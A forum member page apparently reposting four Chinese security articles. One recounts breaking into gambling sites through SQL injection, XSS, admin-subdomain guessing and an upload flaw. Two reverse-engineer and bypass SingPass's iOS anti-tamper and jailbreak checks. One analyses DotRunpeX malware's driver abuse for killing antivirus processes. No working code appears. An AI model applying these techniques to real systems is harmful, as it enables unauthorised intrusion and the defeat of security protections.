Jump to content

HireHackking

Members
  • Joined

  • Last visited

Everything posted by HireHackking

  1. 做了不少qp(棋牌),BC渗透了,通宵了2个晚上干了几个盘子,简略的说下过程,做一下总结。 首先说一下qp, 以我的渗透成功案例来说的话首先信息收集必不可少的,qp的特点是什么呢? 他的后台会在服务器域名的后面以不同的端口形式架设 如图: 关于端口可以发现,基础东西你们都懂。 切入点: 在app里面抓包,查找邮箱,充值,的地方寻找sql注入或者意见反馈的位置XSS 有一种情况是抓包显示127.0.0.1的 抓不到包的情况,这种情况多于大盘子,它不一定走的是TCP UDP协议。可以参考 T-ice 表哥说的 Proxifier全局代理 有了后台之后可以目录fuzz一下,有些管理员会有备份的习惯没准能有新发现。 相对来说qp还是挺简单的。 那么来说说BC吧,看个昨晚的渗透的案例。 基本上大型的BC盘子都是各种防护+cdn 标配,毕竟别人赚了那么多钱也不在乎这点设备钱。。。。 注册了个号 发现没地方能打XSS的。。。。。作罢 因为这种大盘子服务一般是挺到位的,牌面这块方方面面给你整的很高大上,什么导航啊,什么积分商城啊。。 乱七八糟的应有具有,在他主站一个VIP查询页面确定了一处sql注入,而且是thinkphp的框架 thinkphp3.2.3的 ,因为有CDN不知道真实IP,所以后台是个很麻烦的事情,本想着看看数据库里面的log有没有啥发现 没啥鸟用。。尝试读取日志文件,没有。 最后读取配置文件确定了一个很脑残的事情。。。 可能通宵了之后人的脑子有点僵。 我给忘了这种BC后台肯定都是分离的。。。。嗨。少熬夜。 于是。。我就以以往的经验手动的在主域名前面加上了一些可能的参数。。admin.XXXX.com agdw.xxxxx.com ag.xxxxx.com 嗯。。。如图: 这套程序的盘子大概100多个吧,几乎都是一模一样的,随便找了几个 后台有个地方任意上传。结果。。 被杀了还是咋回事。。 做个总结: 像这类盘子都是包网的,大多数都是java开发的。那么BC盘子的切入点是哪些呢 以我渗透成功的案例来总结: 1. XSS 2.注入 3.历史遗留的资产 主要还是信息收集,和耐心。 其实现在注入还是挺多的,只是很难发现和识别了。 同时还需要和各种防护对抗,有时候其实是个注入只是被防护拦了不确定的情况下很多人就放弃。 这种菠菜类的网站, 大多数服务器都是防范级别很高的, 都是包网 资产很多 而且前后端都是分离的 有时候 ,没有思路的时候 可以从运维方面下手 ,有的运维安全意识不是很高 ,还可以从C段入手 ,因为有的菠菜资产分布在几个C段 主站上面 肯定很少漏洞, 基本上可以说没有 ,还有就是从游戏接口入手 或者游戏逻辑入手, 个人一点点粗见。 除过上述作者总结的几点,其他常见的切入点包括弱口令、代码审计。 转载于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486411&idx=1&sn=e5227a9f252f797bf170353d18222d6a&chksm=ce67a152f9102844551cf537356b85a6920abb084d5c6a26f7f8aea6870f51208782ac246ee2&scene=21#wechat_redirect
  2. 線程檢查之前的Frida stalker 檢查的替代方法是通過以下調用訪問當前線程狀態: 然後,由於以下比較,它檢查state-ts_64.__pc 是否在libsystem_kernel.dylib 中: 換句話說,如果state-ts_64.__pc 與mach_msg 的距離小於0x4000,則認為它在libsystem_kernel.dylib 中。 乍一看,對這個RASP 檢查可能不是很熟悉,但由於之前與EVT_CODE_TRACING 相關的檢查旨在檢測Frida Stalker,因此該檢查也可能旨在檢測Frida Stalker。 為了證實這個假設,我開發了一個小測試用例,在一個獨立的二進製文件中重現了這個檢查,我們可以根據它是否通過Frida stalker 來觀察差異: Stalker 測試用例的輸出 沒有Stalker 的測試用例的輸出 通過使用函數gum_stalker_exclude 從跟踪者中排除庫libsystem_kernel.dylib ,從而輕鬆繞過此檢查: 可以看到,state-ts_64.__pc 位於libsystem_kernel.dylib 中: 排除內存範圍的測試用例的輸出 應用加載的庫RASP 事件EVT_APP_LOADED_LIBRARIES 旨在檢查Mach-O 依賴項的完整性。換句話說,它檢查Mach-O 導入的庫是否被修改。 Assemblyranges:0x100E4CDF8–0x100e4d39c 由於dladdr 函數,與此檢查相關的代碼首先訪問Mach-O 標頭: dl_info 包含庫的基地址,其中包含第一個參數中提供的地址,因此,一個Mach-O二進製文件會連同它的標頭文件Dl_info一起加載。 Dli_fbase實際上指向mach_header_64。 然後該函數遍歷類似LC_ID_DYLIB 的命令以訪問依賴項的名稱: 此名稱包含依賴項的路徑。例如,我們可以按如下方式訪問此列表: 依賴項的名稱用於填充哈希表,其中哈希值以32 位編碼: 在後面的代碼中,這個計算表將與另一個哈希表(代碼中硬編碼的)進行比較,如下所示: 哈希示例如果某些庫已被修改為註入,例如FridaGadget.dylib,那麼動態計算的哈希將與代碼中硬編碼的哈希不匹配。 雖然這種檢查的執行是相當“標準”的,但有幾點值得一提: 首先,哈希函數似乎是一個派生的MurmurHash。 其次,哈希是32位編碼的,但是圖4中的代碼引用了64位的X11/X12寄存器。這實際上是一個限制內存訪問次數的編譯器優化。 最後,在每個檢查實例中,硬編碼的哈希值在二進製文件中重複。在SingPass 中,此RASP 檢查出現兩次,因此我們在以下位置找到這些值:0x100E4CF38、0x100E55678。這種重複可能用於防止易於修復的單點位置(single spot location)。 代碼系統庫此檢查與事件EVT_CODE_SYSTEM_LIB 相關聯,該事件包括驗證內存系統庫及其在dyld 共享緩存(磁盤上)中的內容的完整性。 Assemblyranges:0x100ED5BF8–0x100ED5D6Cand0x100ED5E0C–0x100ED62D4 此檢查通常以以下模式開始: 如果帶有給定check_region_cbk 回調的iterate_system_region 的結果不為0,它會觸發EVT_CODE_SYSTEM_LIB 事件: 要理解這個檢查背後的邏輯,我們需要了解iterate_system_region 函數的用途以及它與回調check_region_cbk 的關係。 iterate_system_region該函數旨在調用系統函數vm_region_recurse_64,然後根據可能觸發第一個參數check_region_cbk中給出的回調的條件過濾它的輸出。 iterate_system_region首先通過SYS_shared_region_check_np系統調用訪問dyld共享緩存的基址。這個地址用於讀取和記憶dyld_cache_header結構中的一些屬性: 1.共享緩存標頭; 2.共享緩存結束地址; 3.與共享緩存相關的其他限制; 計算過程如下: 從逆向工程的角度來看,用於記憶這些信息的堆棧變量與稍後調用的vm_region_recurse_64 的參數信息別名。我不知道這種混疊是否是故意的,但它使結構的逆向工程變得更加複雜。 在vm_region_recurse_64上有一個循環,它查詢vm_region_submap_info_64信息,查找dyld共享緩存範圍內的這些地址。由於mach_msg_type_number_t *infoCnt參數被設為19,我們可以確定查詢的類型(vm_region_submap_info_64): 此循環在某些條件下中斷,並且在其他條件下觸發回調。正如稍後解釋的那樣,回調驗證dyld 共享緩存中存在的庫的內存完整性。 這個循環在某些條件下中斷,而在其他條件下觸發回調。回調會驗證dyld共享緩存中存在的庫在內存中的完整性。 基本上,如果發生以下情況,就會觸發對共享緩存進行深度檢測的回調: check_region_cbk當條件滿足時,iterate_system_region調用check_region_cbk,第一個參數中帶有可疑地址: 在分析SingPass 時,只有一個回調函數與iterate_system_region一起使用,它的代碼並沒有特別混淆(字符串除外)。一旦我們知道這些檢查與dyld共享緩存有關,我們就可以很容易地弄清楚這個函數中涉及的結構。這個回調位於0x100ed5e0c地址,並重命名為check_region_cbk。 它首先訪問有關地址的信息: 此信息用於讀取與地址參數關聯的__TEXT 段的內容。 __TEXT 字符串以及共享緩存的不同路徑(如/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64e 和標頭的魔法值:0x01010b9126:dyld_v1 arm64e 或0x01010b9116:dyld_v1 arm64)都被編碼。 另一方面,該函數打開dyld_shared_cache 並查找包含與地址參數關聯的庫的共享緩存部分: 第二次調用mmap()的目的是加載包含庫代碼的共享緩存部分。然後,該函數檢查__TEXT段的內容是否與內存中的內容相匹配。執行此比較的循環位於0x100ED6C58 -0x100ED6C70。 我們可以從這個RASP檢查的描述中觀察到,開發者花了很多精力來避免性能問題和內存消耗。另一方面,在我的測試中從來沒有調用過回調check_region_cbk(即使我掛鉤了系統函數)。我不知道是不是因為我誤解了條件,但最後,我必須手動強制條件。 RASP 的設計弱點由於保存函數指針的不同#EVT_* 靜態變量,混淆器能夠為支持的RASP 事件提供專用回調。儘管如此,應用程序開發人員定義的函數init_and_check_rasp 將所有這些指針設置為同一個回調:hook_detect_cbk_user_def。在這樣的設計中,所有RASP 事件最終都在一個函數中,這削弱了不同RASP 檢查的強度。 這意味著我們只需要針對這個函數來禁用或繞過RASP 檢查。 由於這個缺點,我可以防止應用程序一啟動就顯示錯誤消息。 它存在另外兩個RASP 檢查:EVT_APP_MACHO 和EVT_APP_SIGNATURE,由於開發人員未啟用它們,因此在SingPass 中不存在。 總結一方面商業解決方案實現了強大而先進的RASP 功能,例如,內聯繫統調用分佈在應用程序的不同位置。另一方面,應用程序的開發人員通過為所有事件設置相同的回調來削弱RASP 功能。此外,該應用程序似乎沒有使用商業解決方案提供的本機代碼混淆,這使得RASP 檢查不受靜態代碼分析的保護。無論用戶提供什麼配置,對這些檢查強制執行代碼混淆都是值得的。
  3. 新版DotRunpeX完整的技術分析為了分析dotRunpeX的新版本,使用了示例SHA256:“44a11146173db0663a23787bffbb120f3955bc33e60e73ecc798953e9b34b2f2”。這個示例是一個用.NET編寫的64位可執行文件“.exe”,受KoiVM保護。版本信息與舊版本的DotRunpeX的情況相同,並且在CPR分析的所有示例中都是一致的。 CPR可以再次注意到ProductName – RunpeX.Stub.Framework 。 新DotRunpeX版本的信息 在dnSpyEx中打開示例並導出入口點函數_sb()方法後,CPR可以立即確認此新版本的DotRunpeX受到KoiVM虛擬程序的保護。儘管大多數IL代碼都是虛擬化的,但CPR仍然可以發現P/Invoke定義的CreateProcess方法的調用,該方法以某種方式創建一個處於掛鉤狀態的進程——通常用於代碼注入技術“Process Hollowing”。 創建掛鉤的流程作為Process Hollowing技術的一部分 在進一步研究了.NET元數據(特別是ImplMap表)中剩餘的內容之後,找出了定義為P/Invoke並很可能被這個示例使用的其他方法,CPR得到了比舊版本dotRunpeX更令人興奮的發現。顯然,該示例不僅執行代碼注入,還執行加載和與驅動程序通信。 ImplMap表——DotRunpeX的新版本 CPR立即註意到的下一個是使用了與舊版本相同的資源名——BIDEN_HARRIS_PERFECT_ASSHOLE——它包含要注入的加密有效負載。資源名稱在CPR分析的所有樣本中都是一致的。很明顯,解密例程隱藏在代碼虛擬化之後,但通過猜測,他們可以得到一個簡單的異或解密例程,它使用了一個表示開發者秘密願望的密碼——I_LOVE_HENTAIU2。 使用密碼“I_LOVE_HENTAIU2”對.NET資源進行簡單異或解密 不過,由於DotRunpeX仍處於開發階段,並添加了新功能,使用該注入器的最新示例改變了解密方案(不再是簡單的XOR),從而省略了嵌入式有效負載的靜態提取。 如上所述,IL代碼受到KoiVM虛擬程序的保護,因此為了繼續分析,CPR需要想出一些方法來處理受保護的代碼,並在合理的時間內從中獲得一些有意義的東西。首先,CPR想到的是使用一個名為OldRod的公開開源KoiVM去虛擬程序。這個工具完全適用於KoiVM的普通版本。它的開發方式甚至要優於KoiVM原始版本的一些簡單修改(例如VMEntry類中方法的簽名修改或默認#Koi流名稱的修改)。 不過,CPR正在處理一個自定義版本的KoiVM,它以一種不那麼容易被發現的方式修改了保護程序。 KoiVM的原始實現定義了119個用於虛擬化代碼的常量變量。這些常量用於定義寄存器、標誌、操作碼等。這些常量的指定值用於正確執行虛擬化代碼,也是去虛擬化過程所需的。 KoiVM的原始實現定義了119個常量 在使用普通版本的KoiVM時,在constants類內已編譯的、受保護的示例中,生成的常量以完全相同的順序顯示為字段,並帶有升序標記值。在編譯後的二進製文件中,常量及其對應的標記的順序是OldRod所依賴的。 OldRod源代碼——常量的自動檢測 儘管OldRod工具是一個非常好用的工具,並且可以在通過配置文件(——config選項)提供自定義常量映射時處理常量的自定義順序,但找出這些常量的正確映射並不像聽起來那麼簡單。有時,當一個常量的順序是手工修改時,通過分析它們在代碼中的使用來正確地映射它們可能並不難。但更糟糕的是,它們以一種非常有效的方式被打亂,使得正確的映射非常困難,以至於認為這種方法無法在合理的時間內獲得一些結果。 OldRod源代碼——常量的自動檢測 通過精確的代碼分析和通過適當的處理程序映射常量期間的一些困難時刻,CPR還是能夠完全去虛擬化代碼。不過,就算有了完全去虛擬化的代碼,但還是一個不能完全運行的.NET程序集,它仍然被ConfuserEx混淆器混淆了。 下圖是與驅動程序例程相關的完全去虛擬化和去混淆的代碼。 驅動程序裝載/卸載: 負責加載/卸載驅動程序的虛擬化和非虛擬化代碼 與procexp設備的通信: 負責與procexp設備通信的去虛擬化和去混淆的代碼 為了講解方便,本文不討論去虛擬化和去混淆的過程。 通常,當不可能在合理的時間內對代碼進行反虛擬化時,CPR仍然沒有其他選擇。第一個選項(處理虛擬化代碼時非常常見的方法)是使用調試器、DBI(動態二進制檢測)、掛鉤和WIN API跟踪進行動態分析。當CPR處理dotnet代碼時,另一種方法可能是使用一些來自.NET內部世界的知識進行PoC。 CPR決定將這兩種方法結合起來,從而開發出了一種非常有效的新工具。 為了獲得更多關於代碼功能的信息,CPR從使用x64dbg的動態分析方法開始。正如CPR之前指出的,包含P/Invoke定義的方法的ImplMap表似乎是在調試器中設置斷點的一個很好的起點。通過自動解析P/Invoke定義的方法並將其轉換為x64dbg腳本,CPR開發了第一個工具,稱為“ImplMap2x64dbg”。 ImplMap2x64dbg使用dnfile模塊正確解析.NET可執行文件及其元數據的Python腳本,此工具創建一個x64dbg腳本,用於在.NET可執行文件的已定義ImplMap (P/Invoke)方法上設置斷點。 使用' ImplMap2x64dbg '處理DotRunpeX示例將生成x64dbg腳本: CPR主要關注某些WIN/NT API,如CreateProcessW、NtWriteVirtualMemory、CreateFileA、CreateFileW、NtLoadDriver、NtQuerySystemInformation和DeviceIoControl,因為它們是與驅動程序和進程注入例程相關的有趣API。 我們能看到的第一個有趣的WIN API調用是CreateFileW,它用於在路徑C:\Users\XXX\AppData\Local\Temp\Иисус.sys中創建一個文件。 CreateFileW用於創建文件“Иисус.sys” 如果CPR檢查創建的文件Иисус.sys(俄語翻譯為“jesus.sys”),就會立即發現它是一個有效的進程資源管理器驅動程序,版本為16.43。 創建的文件“Иисус.sys”是有效的進程資源管理器驅動程序,版本16.43 CPR可以看到負責加載此驅動程序的例程NtLoadDriver,其中參數指向DriverServiceName–\Registry\Machine\System\CurrentControlSet\Services\TaskKill,它指定了驅動程序註冊表項的路徑。 NtLoadDriver用於通過其關聯的註冊表項加載procexp驅動程序 驅動程序註冊表項“\registry\Machine\System\CurrentControlSet\Services\TaskKill”的內容 掛鉤到進程資源管理器設備如下。 獲取進程資源管理器設備的句柄 DotRunpeX逃避殺毒軟件技術之一是在進程資源管理器驅動程序(procexp.sys)的幫助下阻止一個硬編碼的反惡意軟件服務列表。使用進程資源管理程序驅動程序背後的原因是,反惡意軟件服務通常作為受保護的進程運行,更具體地說是作為PPL,以避免由惡意活動引起的系統保護失效。有可能濫用procexp驅動程序的易受攻擊版本來關閉受保護進程的對象句柄。一旦關閉了足夠多的句柄,特定的受保護進程將被終止。 CPR分析的所有示例都濫用了該驅動程序的16.43版本,這也是最新的易受該技術攻擊的版本。 為了獲得有關對象句柄的信息,DotRunpeX使用具有指定SystemInformationClass0x10的NT API NtQuerySystemInformation,該SystemInformationClass0x10指向未記錄的結構[SYSTEM_HANDLE_information]。通過這種方式,它可以找到屬於受保護進程的所有句柄。 NtQuerySystemInformation用於獲取未記錄的結構SYSTEM_HANDLE_INFORMATION 為了處理受保護進程的對象句柄,DotRunpeX使用WIN API DeviceIoControl將IOCTL直接發送給易受攻擊的procexp驅動程序。 IOCTL“2201288708”(IOCTL_CLOSE_HANDLE)在RDX寄存器中,處理此請求的procexp驅動程序例程負責關閉指定進程的某些對象句柄,無論指定進程是否受到保護。一旦關閉了足夠多的對象句柄,反惡意軟件服務就會被終止。 DeviceIoControl用於發送IOCTL“2201288708”以關閉受保護進程的對象句柄 我們還可以看到寄存器R8 (lpInBuffer)指向關閉對象句柄所需的數據。該數據結構可以定義如下: 讓我們比較一下DotRunpeX示例使用的procexp驅動程序版本(版本16.43,2021.8.17編譯)和最新版本的proceexp驅動程序(版本17.02,2022.11010編譯)。 CPR可以立即發現添加的修復代碼,該代碼負責禁用關閉受保護進程的對象句柄的可能性。 16.43與17.02版本進程資源管理器驅動程序之間的比較 這種使用進程資源管理器驅動程序關閉受保護流程的對象句柄的技術可以隨時上網查找到,並且是名為Backstab的開源項目的一部分,進程資源管理器驅動程序17.0以上的版本已經被修復。 在阻止特定的受保護進程後,Process Hollowing將使用WIN API CreateProcessW以掛鉤狀態啟動進程(在本例中為C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe),並直接使用NT API NtWriteVirtualMemory將DotRunpeX的嵌入式有效負載寫入新創建的遠程進程。 事實證明,通過一種專注於本機層和WIN/NT API的某些使用的動態分析方法,CPR對這種可用於自動化和大規模處理的虛擬化dotnet注入器獲得了一些有趣的發現: 每個DotRunpeX示例都有一個要注入的特定惡意軟件家族的嵌入式有效負載; 每個DotRunpeX示例都有一個嵌入式procexp驅動程序來終止受保護的進程; 虛擬化代碼背後很可能隱藏著某種配置,它指定了process Hollowing的目標進程、要阻止的受保護進程列表(反惡意軟件服務),以及其他有趣的可配置內容; 除此之外,CPR可以利用.NET內部世界的知識來實現一些自動化。當談論dotnet時,CPR可以立即想到由.NET運行時管理的代碼。越來越多的事情正在被管理,其中特別重要的就是所謂的“內存管理”。 dotnet中的內存類型有堆棧和.NET堆。在網絡世界中,CPR不需要為內存分配/釋放而煩惱,因為這些例程是由.NET運行時和垃圾收集器處理的。網絡的內存管理不知何故需要知道分配什麼、在哪里以及如何分配;解除分配/釋放內存也是如此。一旦討論了從System.Object(類、對象、字符串……)繼承的引用類型,就會在.NET堆上進行分配。這些對象保存在.NET堆上,為了進行自動管理,它們還附帶了某些元數據信息,如類型、引用和大小。另外就是不再引用的對象的自動內存釋放不會立即發生,垃圾收集器會在固定時間間隔內處理這一問題,可能需要幾分鐘。像“靜態對象”這樣的特定對象會在垃圾收集中倖存下來,並一直存持續到應用程序結束。 這意味著,如果CPR可以枚舉.NET堆上的對象,CPR也可以獲得與它們的類型和大小相關的信息,這些信息可以用於它們的適當重建。創建這種工具可能非常耗時,但幸運的是,CPR已經創建了dotnet進程和崩潰轉儲自省(crash dump introspection)開源庫ClrMD Microsoft.Diagnostics.Runtime,該庫由微軟開發,可以精確地用於從.NET堆重建對象。為什麼這很重要? 是因為在dotRunpeX執行的特定時刻,嵌入的有效負載、procexp驅動程序和某種配置必須以解密狀態出現。它們的內容可能會被分配到.NET堆上分配的某個對象。對於這些,CPR可以期望字節blobbyte[]或字符串。這也意味著,如果CPR能夠控制DotRunpeX的執行,並將其掛鉤,使其處於適合重建對象的狀態,那麼CPR將能夠在解密狀態下獲得所需的一切。 掛鉤和自省DotRunpeX進程的正確時機之一可能是調用用於Process Hollowing的WIN API CreateProcessW,這被認為是正確的假設,CPR為此開發了掛鉤庫“CProcessW_Hook”。 CProcessW_Hook使用minhook框架的本地掛鉤庫(適用於Windows的Minimalistic x86/x64 API掛鉤庫)。下面提供的代碼用於掛鉤WIN API函數CreateProcessW,該函數用於DotRunpeX注入器中的進程創建,該注入器後來用作代碼注入(PE Hollowing)的目標。一旦CreateProcessW函數被掛鉤並在目標進程中被調用,整個進程就會被掛鉤進行自省。某些進程創建會被過濾(powershell、conhost),因為它們可以根據配置為DotRunpeX的其他函數生成(例如修改Windows Defender設置)。 CPR只需要在執行代碼注入之前的狀態下暫停進程(其中所有需要的對像都已在.NET堆上解密)。 CPR可以看到,在函數DllMain()中加載這個庫時,所有的掛鉤邏輯都會立即執行。另一件需要注意的重要事情是,CPR定義了導出函數Decoy(),它永遠不會被執行或調用,但在以後的預注入技術中需要它。 有了掛鉤庫“CProcessW_Hook.dll”,CPR可以繼續創建一個注入器和提取器。這就是下面提供的主要工具——DotRunpeX提取器“Invoke-DotRunpeXextract”。 Invoke-DotRunpeXextractPowerShell模塊,支持從DotRunpeX中提取有效負載、procexp驅動程序和配置。該工具是用PowerShell腳本語言編寫的,使用預注入本機掛鉤庫“CProcessW_Hook.dll”(使用AsmResolver)和從.NET堆重建.NET對象(使用ClrMD)。它使用動態方法進行提取,因此樣本以託管方式執行(僅在VM中使用)。使用PowerShell 7.3+, clrMD v2.2.343001 (net6.0), AsmResolver v5.0.0 (net6.0)。 本文提供了該工具的兩個版本,其中一個是創建為多線程的PowerShell模塊,以獲得最佳性能和使用效果。該工具的第二個版本是一個具有相同功能的單線程腳本,可以用於簡單的調試和故障排除,並且可以更容易地創建具有類似功能的多個代碼段。 PowerShell模塊的整個代碼都以易於理解其核心功能的方式進行了註釋,接下來我們將簡要描述該工具的核心功能,如使用AsmResolver的掛鉤庫的預注入技術以及提取背後的實現邏輯。 首先,該工具使用AsmResolver修改DotRunpeX的PE結構。 AsmResolver以其檢查dotnet可執行文件及其相關元數據的功能而聞名,但它也允許訪問PE的底層結構來修改它們。這些PE結構修改用於實現上述PoC技術,目的是將dll預注入64位的dotnet可執行文件。 CPR正在討論將本機掛鉤庫的新導入條目添加到.NET程序集中。由於DotRunpeX是一個64位可執行文件,而且與32位的dotnet可執行文件不同,64位的dotRunpe
  4. 通過在應用程序的安裝目錄中搜索一些關鍵字,我們實際上得到了兩個結果,它們含有混淆器名稱的信息: NuDetectSDK 二進製文件也使用相同的混淆器,但它似乎沒有參與上圖所示的早期越獄檢測。另一方面,SingPass 是應用程序的主要二進製文件,我們可以觀察到與威脅檢測相關的字符串: 混淆器的名稱已被編輯,但不會影響代碼的內容。 不幸的是,二進製文件沒有洩漏其他字符串,這些字符串可以幫助識別應用程序檢測越獄設備的位置和方式,但幸運的是,應用程序沒有崩潰。 如果我們假設混淆器在運行時解密字符串,則可以嘗試在顯示錯誤消息時轉儲__data 部分的內容。在執行時,用於檢測越獄設備的字符串可能已被解碼並清楚地存在於內存中。 1.我們運行應用程序並等待越獄消息; 2.我們使用Frida 附加到SingPass,並註入一個庫: 2.1在內存中解析SingPass 二進製文件; 2.2轉儲__data 部分的內容; 2.3 將轉儲寫入iPhone 的/tmp 目錄; 一旦數據區被轉儲,__data部分會發生以下變化: 轉儲前後的__data 部分 此外,我們可以觀察到以下字符串,它們似乎與混淆器的RASP功能有關: 與RASP 功能相關的字符串 所有的EVT_*字符串都由一個且只有一個我命名為on_rasp_detection的函數引用。這個函數是應用程序開發者在觸發RASP事件時用來執行操作的威脅檢測回調函數。 為了更好地理解這些字符串背後的檢查邏輯,讓我們從用於檢測掛鉤函數的EVT_CODE_PROLOGUE 開始。 EVT_CODE_PROLOGUE:掛鉤檢測當通過彙編代碼接近on_rasp_detection 的交叉引用時,我們可以多次發現這種模式: 為了檢測給定函數是否被鉤住,混淆器加載函數的第一個字節,並將該字節與值0xFF進行比較。乍一看,0xFF似乎是任意的,但事實並非如此。實際上,常規函數以一個序言開始,該序言在堆棧上分配空間,以保存由調用約定定義的寄存器和函數所需的堆棧變量。在AArch64中,這個分配可以通過兩種方式執行: 這些指令是不相等的,如果偏移量存在,它們可能會導致相同的結果。在第二種情況下,指令sub SP、SP、#CST 用以下字節編碼: 正如我們所看到的,該指令的編碼從0xFF開始。如果不是這樣,那麼該函數要么以不同的堆棧分配序言開始,要么可能以一個掛鉤的蹦床開始。由於應用程序的代碼是通過混淆器的編譯器編譯的,因此編譯器能夠區分這兩種情況,並為正確的函數的序言插入正確的檢查。 如果函數指令的第一個字節沒有通過檢查,則跳轉到紅色基本塊。這個基本塊的目的是觸發一個用戶定義的回調,它將根據應用程序的設計和開發人員的選擇來處理檢測: 打印錯誤 應用程序崩潰 破壞內部數據 …… 從上圖中,我們可以觀察到檢測回調是從位於#hook_detect_cbk_ptr 的靜態變量加載的。調用此檢測回調時,混淆器會向回調提供以下信息: 1.檢測碼:EVT_CODE_PROLOGUE 為0x400; 2.可能導致應用程序崩潰的受攻擊指針; 現在讓我們仔細看看檢測回調的整體設計。 檢測回調如上一節所述,當混淆器檢測到篡改時,它會通過調用存儲在地址的靜態變量中的檢測回調來做出反應:0x10109D760 通過靜態分析hook_detect_cbk,實現似乎破壞了回調參數中提供的指針。另一方面,在運行應用程序時,我們觀察到越獄檢測消息,而不是應用程序崩潰。 如果我們查看在該地址讀取或寫入的交叉引用,我們會得到以下指令列表: 所以實際上只有一條指令,init_and_check_rasp+01BC,用另一個函數覆蓋默認的檢測回調: 與默認回調相比:hook_detect_cbk(被覆蓋的函數)相比,hook_detect_cbk_user_def不會損壞一個會導致應用程序崩潰的指針。相反,它調用on_rasp_detection函數,該函數引用上圖中列出的所有字符串EVT_CODE_TRACING、EVT_CODE_SYSTEM_LIB等。 通過整體查看init_and_check_rasp函數,我們可以注意到X23寄存器也用於初始化其他靜態變量: X23寫入指令 這些內存寫入意味著回調hook_detect_cbk_user_def 用於初始化其他靜態變量。特別是,這些其他靜態變量很可能用於其他RASP 檢查。通過查看這些靜態變量#EVT_CODE_TRACING_cbk_ptr、#EVT_ENV_JAILBREAK_cbk_ptr 等的交叉引用,我們可以找到執行其他RASP 檢查的位置以及觸發它們的條件。 EVT_CODE_SYSTEM_LIB EVT_ENV_DEBUGGER EVT_ENV_JAILBREAK 多虧了#EVT_*交叉引用,我們可以靜態地通過使用這些#EVT_*變量的所有基本塊,並突出顯示可能觸發RASP回調的底層檢查。在詳細檢查之前,需要注意以下幾點: 1.雖然應用程序使用了一個商業混淆器,除了RASP之外,還提供了本地代碼混淆,但代碼是輕度混淆的,這使得靜態彙編代碼分析非常容易。 2.應用程序為所有RASP 事件設置相同的回調。因此,它簡化了RASP 繞過和應用程序的動態分析。 反調試SingPass 使用的混淆器版本實現了兩種調試檢查。首先,它檢查父進程id (ppid) 是否與/sbin/launchd 相同,後者應該為1。 getppid 通過函數或系統調用調用。 如果不是這種情況,它會觸發EVT_ENV_DEBUGGER 事件。第二個檢查基於用於訪問extern_proc.p_flag 值的sysctl。如果此標誌包含P_TRACED 值,則RASP 例程會觸發EVT_ENV_DEBUGGER 事件。 在SingPass 二進制中,我們可以在以下地址範圍內找到這兩個檢查的實例: 越獄檢測對於大多數越獄檢測,混淆器會通過檢查設備上是否存在(或不存在)某些文件來嘗試檢測設備是否已越獄。 借助以下幫助程序,可以使用系統調用或常規函數檢查文件或目錄: 如上所述,我提到__data 部分的轉儲顯示與越獄檢測相關的字符串,但轉儲並未顯示混淆器使用的所有字符串。 通過仔細研究字符串編碼機制,可以發現有些字符串是在臨時變量中即時解碼的。我將在本文的第二部分解釋字符串編碼機制,這樣,我們可以通過在fopen、utimes等函數上設置鉤子,並在這些調用之後立即轉儲__data部分來揭示字符串。然後,我們可以遍歷不同的轉儲,查看是否出現了新的字符串。 最後,該方法無法對所有字符串進行解碼,但可以實現良好的覆蓋。用於檢測越獄的文件列表在附件中給出。 還有一個檢測unc0ver 越獄的特殊檢查,包括嘗試卸載/.installed_unc0ver: 0x100E4D814:_unmount('/.installed_unc0ver') 環境混淆器還會檢查觸發EVT_ENV_JAILBREAK 事件的環境變量。其中一些檢查似乎與代碼提升檢測有關,但仍會觸發EVT_ENV_JAILBREAK 事件。 startswith()從逆向工程的角度來看,startswith()實際上是作為一個“or-ed”的xor序列來實現的,以得到一個布爾值。這可能是編譯器優化的結果。你可以在位於地址0x100015684的基本塊中觀察這個模式。 高級檢測除了常規檢查之外,混淆器還執行高級檢查,比如驗證SIP(系統完整性保護)的當前狀態,更準確地說,是KEXTS代碼簽名狀態。 根據我在iOS越獄方面的經驗,我認為沒有越獄會禁用CSR_ALLOW_UNTRUSTED_KEXTS標誌。相反,我猜它是用來檢測應用程序是否在允許這種停用的Apple M1 上運行。 Assemblyrange:0x100004640–0x1000046B8 混淆器還使用Sandbox API 來驗證是否存在某些路徑: 通過這個API 檢查的路徑是OSX 相關的目錄,所以我猜它也被用來驗證當前代碼沒有在Apple Silicon 上被解除。例如,下面是使用Sandbox API 檢查的目錄列表: Assemblyrange:0x100ED7684(function) 此外,它使用沙盒屬性file-read-metadata 作為stat() 函數的替代方案。 Assemblyrange:0x1000ECA5C–0x1000ECE54 該應用程序通過私有系統調用使用沙盒API 來確定是否存在一些越獄工件。這是非常明智的做法,但我想這並不符合蘋果的安全政策。 代碼符號表此檢查的目的是驗證已解析導入的地址是否指向正確的庫。換句話說,此檢查驗證導入表沒有被可用於掛鉤導入函數的指針篡改。 Initialization: part of sub_100E544E8 Assemblyrange:0x100016FC4–0x100017024 在RASP 檢查初始化(sub_100E544E8) 期間,混淆器會手動解析導入的函數。此手動解析是通過迭代SingPass 二進製文件中的符號、檢查導入符號的庫、訪問(在內存中)此庫的__LINKEDIT 段、解析導出trie 等來執行的。此手動解析填充一個包含已解析符號的絕對地址的表。 此外,初始化例程設置遵循以下佈局的元數據結構: symbols_index 是一種轉換錶,它將混淆器已知的索引轉換為__got 或__la_symbol_ptr 部分中的索引。索引的來源(即__got 或__la_symbol_ptr)由包含類枚舉整數的origins 表確定: symbols_index和origins這兩個表的長度都是由靜態變量nb_symbols定義的,它被設置為0x399。元數據結構後面跟著兩個指針:resolved_la_syms 和resolved_got_syms,它們指向混淆器手動填充的導入地址表。 每個部分都有一個專用表:__got 和__la_symbol_ptr。 然後,macho_la_syms 指向__la_symbol_ptr 部分的開頭,而macho_got_syms 指向__got 部分。 最後,stub_helper_start/stub_helper_end 保存了__stub_helper 部分的內存範圍。稍後我將介紹這些值的用途。 這個元數據結構的所有值都是在函數sub_100E544E8中進行初始化時設置的。 在SingPass 二進製文件的不同位置,混淆器使用此元數據信息來驗證已解析導入的完整性。它首先訪問symbols_index 和具有固定值的起源: 由於symbols_index表包含uint32_t值,#0xCA8匹配#0x32A(起源表的索引)當除以sizeof(uint32_t):0xCA8=0x32A * sizeof(uint32_t)。 換句話說,我們有以下操作: 然後,給定sym_idx 值並根據符號的來源,該函數訪問已解析的__got 表或已解析的__la_symbol_ptr 表。此訪問是通過位於sub_100ED6CC0 的輔助函數完成的。可以用下面的偽代碼來概括: 比較section_ptr 